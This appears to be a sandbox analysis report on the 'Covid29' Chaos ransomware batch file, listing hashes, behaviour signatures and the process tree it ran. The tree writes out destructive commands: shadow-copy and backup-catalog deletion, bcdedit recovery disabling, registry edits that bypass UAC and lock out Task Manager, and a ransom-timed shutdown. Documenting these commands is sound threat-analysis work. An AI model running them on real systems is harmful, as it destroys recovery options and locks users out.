Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 20:27

General

  • Target

    source/TrojanRansomCovid29.bat

  • Size

    1KB

  • MD5

    57f0432c8e31d4ff4da7962db27ef4e8

  • SHA1

    d5023b3123c0b7fae683588ac0480cd2731a0c5e

  • SHA256

    b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc

  • SHA512

    bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

  • Chaos Ransomware 2 IoCs
  • Chaos family
  • UAC bypass 3 TTPs 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 34 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 7 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 53 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\source\TrojanRansomCovid29.bat"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4060
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\source\fakeerror.vbs"
      2⤵
        PID:3812
      • C:\Windows\system32\PING.EXE
        ping localhost -n 2
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1448
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:3664
      • C:\Windows\system32\reg.exe
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:1772
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:4504
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:5112
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:1488
      • C:\Windows\system32\reg.exe
        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        • Modifies registry key
        PID:5004
      • C:\Windows\system32\reg.exe
        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        • Modifies registry key
        PID:4000
      • C:\Users\Admin\AppData\Local\Temp\source\mbr.exe
        mbr.exe
        2⤵
        • Executes dropped EXE
        • Writes to the Master Boot Record (MBR)
        • System Location Discovery: System Language Discovery
        PID:3164
      • C:\Users\Admin\AppData\Local\Temp\source\Cov29Cry.exe
        Cov29Cry.exe
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1440
        • C:\Users\Admin\AppData\Roaming\svchost.exe
          "C:\Users\Admin\AppData\Roaming\svchost.exe"
          3⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • Drops desktop.ini file(s)
          • Sets desktop wallpaper using registry
          • Modifies registry class
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3396
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3324
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              5⤵
              • Interacts with shadow copies
              PID:3708
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1000
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2612
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3452
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled no
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3088
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2676
            • C:\Windows\system32\wbadmin.exe
              wbadmin delete catalog -quiet
              5⤵
              • Deletes backup catalog
              PID:1644
          • C:\Windows\system32\NOTEPAD.EXE
            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
            4⤵
              PID:2276
        • C:\Windows\system32\shutdown.exe
          shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1848
        • C:\Windows\system32\PING.EXE
          ping localhost -n 9
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4404
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im explorer.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4792
        • C:\Users\Admin\AppData\Local\Temp\source\Cov29LockScreen.exe
          Cov29LockScreen.exe
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4696
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2900
      • C:\Windows\system32\wbengine.exe
        "C:\Windows\system32\wbengine.exe"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1436
      • C:\Windows\System32\vdsldr.exe
        C:\Windows\System32\vdsldr.exe -Embedding
        1⤵
          PID:3508
        • C:\Windows\System32\vds.exe
          C:\Windows\System32\vds.exe
          1⤵
          • Checks SCSI registry key(s)
          PID:4492

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\source\Cov29Cry.exe

          Filesize

          103KB

          MD5

          8bcd083e16af6c15e14520d5a0bd7e6a

          SHA1

          c4d2f35d1fdb295db887f31bbc9237ac9263d782

          SHA256

          b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

          SHA512

          35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

        • C:\Users\Admin\AppData\Local\Temp\source\fakeerror.vbs

          Filesize

          144B

          MD5

          c0437fe3a53e181c5e904f2d13431718

          SHA1

          44f9547e7259a7fb4fe718e42e499371aa188ab6

          SHA256

          f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

          SHA512

          a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

        • C:\Users\Admin\AppData\Local\Temp\source\mbr.exe

          Filesize

          1.3MB

          MD5

          35af6068d91ba1cc6ce21b461f242f94

          SHA1

          cb054789ff03aa1617a6f5741ad53e4598184ffa

          SHA256

          9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

          SHA512

          136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

        • C:\Users\Admin\Desktop\covid29-is-here.txt

          Filesize

          861B

          MD5

          c53dee51c26d1d759667c25918d3ed10

          SHA1

          da194c2de15b232811ba9d43a46194d9729507f0

          SHA256

          dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

          SHA512

          da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

        • memory/1440-15-0x00000000002D0000-0x00000000002F0000-memory.dmp

          Filesize

          128KB

        • memory/3164-16-0x0000000000400000-0x00000000004D8000-memory.dmp

          Filesize

          864KB